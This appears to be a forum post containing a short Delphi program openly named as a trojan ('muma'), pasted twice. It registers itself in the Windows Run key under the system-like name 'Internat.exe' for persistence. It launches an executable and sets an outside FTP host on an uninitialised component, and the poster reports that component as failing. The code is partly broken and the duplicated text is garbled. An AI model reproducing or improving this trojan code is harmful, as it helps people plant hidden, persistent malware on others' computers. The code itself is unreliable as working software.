A
ajim
Unregistered / Unconfirmed
GUEST, unregistred user!
program muma;
uses
windows,Registry,nmftp;
{$R *.res}
var
reg: TRegistry;
ftp: Tnmftp;
begin
ftp.Host:='ftp1.go.163.com';//系统提示ftp没有initialized
WinExec('c:/msconfig.exe', SW_normal);
reg := TRegistry.Create ;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion/Run', True) then
begin
Reg.WriteString('Internat.exe',ParamStr(0));
Reg.CloseKey;
end;
finally
Reg.Free;
end;
end.
uses
windows,Registry,nmftp;
{$R *.res}
var
reg: TRegistry;
ftp: Tnmftp;
begin
ftp.Host:='ftp1.go.163.com';//系统提示ftp没有initialized
WinExec('c:/msconfig.exe', SW_normal);
reg := TRegistry.Create ;
try
Reg.RootKey := HKEY_CURRENT_USER;
if Reg.OpenKey('/Software/Microsoft/Windows/CurrentVersion/Run', True) then
begin
Reg.WriteString('Internat.exe',ParamStr(0));
Reg.CloseKey;
end;
finally
Reg.Free;
end;
end.